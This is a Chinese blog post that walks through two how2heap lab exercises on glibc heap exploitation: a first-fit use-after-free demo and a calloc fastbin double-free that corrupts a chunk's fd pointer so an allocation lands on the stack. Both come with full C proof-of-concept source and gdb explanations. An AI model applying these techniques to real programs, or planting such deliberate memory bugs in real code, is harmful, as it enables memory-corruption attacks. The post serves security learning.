how2heap的初步实验

文章链接:《how2heap实验--初探heap漏洞》

源码连接 : GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.

文章参考:

1.博客佬 : How2Heap笔记(一)-CSDN博客

2.星盟pwn佬 : 0011.哔哩哔哩-【个人向】CTF pwn 入门-P11[高清版]_哔哩哔哩_bilibili

首先获取到源码:

开始实验

  1. 实验一 UAF初探:

注:如果你也出现了上述无法编译的情况,可以参考:

Ubuntu 编译出现fatal error: bits/libc-header-start.h: No such file or directory-CSDN博客

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
        fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
        fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
        fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
        fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

        fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
        char* a = malloc(0x512);
        char* b = malloc(0x256); //防止和top chunk合并
        char* c;

        fprintf(stderr, "1st malloc(0x512): %p\n", a);
        fprintf(stderr, "2nd malloc(0x256): %p\n", b);
        fprintf(stderr, "we could continue mallocing here...\n");
        fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
        strcpy(a, "this is A!");
        fprintf(stderr, "first allocation %p points to %s\n", a, a);

        fprintf(stderr, "Freeing the first one...\n");
        free(a);

        fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

        fprintf(stderr, "So, let's allocate 0x500 bytes\n");
        c = malloc(0x500);
        fprintf(stderr, "3rd malloc(0x500): %p\n", c);
        fprintf(stderr, "And put a different string here, \"this is C!\"\n");
        strcpy(c, "this is C!");
        fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
        fprintf(stderr, "first allocation %p points to %s\n", a, a);
        fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

这段代码主要是给我们演示以下glibc的堆管理器如何回收利用堆块。

我们可以尝试编译并运行它:

gcc first_fit.c -o first -m32 -g
./first

效果图如下 :

  • 发现:a,c指针所指向的地址是一样的,并且其输出的内容也是一样的,并且跟c保持一致

下面跟着图示理解一下:

解释:ptmalloc对于chunk的释放仅仅只是标记一下这个chunk是free_chunk,并将其“丢进”bin中管理,原先那部分的数据并不会消失,也不会改变,只是会被新的数据覆盖掉。

  • UAF(Ues After Free)漏洞初现:a指针的内容被篡改

2.实验二 double-free

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	fprintf(stderr,"Fill up tcache first.\n");
	void *ptrs[7];
	for (int i=0; i<7; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}
	unsigned long long stack_var;

	fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = calloc(1,8);
	int *b = calloc(1,8);
	int *c = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", a);
	fprintf(stderr, "2nd calloc(1,8): %p\n", b);
	fprintf(stderr, "3rd calloc(1,8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	//Calling free(a) twice renders the program vulnerable to Double Free

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", d);
	fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that calloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	/*VULNERABILITY*/
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
	/*VULNERABILITY*/

	fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

	void *p = calloc(1,8);

	fprintf(stderr, "4th calloc(1,8): %p\n", p);
	assert(p == 8+(char *)&stack_var);
	// assert((long)__builtin_return_address(0) == *(long *)p);
}

源码如上,该部分是向我们展示两次free的漏洞。下面跟着图示理解一下该部分。

(1)代码7-17行:填满tcachebins,使得下面free_chunk进入fastbin

(2)代码23-42行:calloc三个chunk,并且进行double_free,出现漏洞

解释b:double_free检查

#include <stdio.h>
#include <stdlib.h>
int main(void){
	void *a = malloc(0x20);
	free(a);
	free(a);
}

结果:

可以发现编译之后是无法运行的,在glibc2.27(似乎)之后就有这种检查了,对于tcachebins,fastbins会检查相邻的free_chunk,如果对应的物理地址相同,那么程序是无法运行的,所以我们在double free(a)中间加了一个 free(b)

结合gdb理解fastbin内部:

也可以验证fastbin中chunk是a -> b -> a

(3)剩余部分解释(不完全依靠代码) 核心部分

结合gdb理解过程:

(1) 第一次calloc(将第一次free(a)的chunk取走了)

此时的fastbin如上图:从a -> b -> a,到 (被取走)-> b -> a

因此a地址对应的free_chunk的fd为0x0

(2) 第二次calloc(将free(b)的chunk取走了)

此处不重要,不提。

(3) 修改d指针对应chunk的fake_fd。

此时将a的fd修改为栈地址,即使d对应的是malloced_chunk,不是free_chunk,没有fd指针,但是修改对应部分的内容仍然可以达到修改a对应chunk的fd指针。

如图,可以发现fastbin很明显改变了。

(4) 第三次calloc(将第二次free(a)的chunk取走了)

这部分将第二次free(a)对应chunk取走,那么此时fastbin中就剩下一个指向stack的fake_free_chunk,那么下次calloc就会将这部分给用户,从而获得目标地址

(5) 第四次calloc(将目标地址对应的的fake_chunk取走了)

总结,代码中free3次后,进行了两次calloc,第一次返回值赋值给d,第二次没接收返回值,因为第二次的calloc是b,b只是防止double free,没有实际作用。

  • 看到d指针,指向的是a指针指向的地址,二者的值是一样的,此时的free_list只有a ,那么我可以对d指针进行修改,修改此时的fd指针,虽然此时对于d应该是没有fd指针的,因为它不是free_chunk,但是还在fastbin中的a对应chunk是有fd指针的,修改了d对应chunk也相当于修改了a对应的chunk,因为二者地址是一样的
  • 修改fd指向我们想要指向的地址,那么free_list中的a就会指向我们所修改的地址。再进行两次calloc,就可以在第二次calloc的时候,将fake_chunk给用户。
  • 18
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值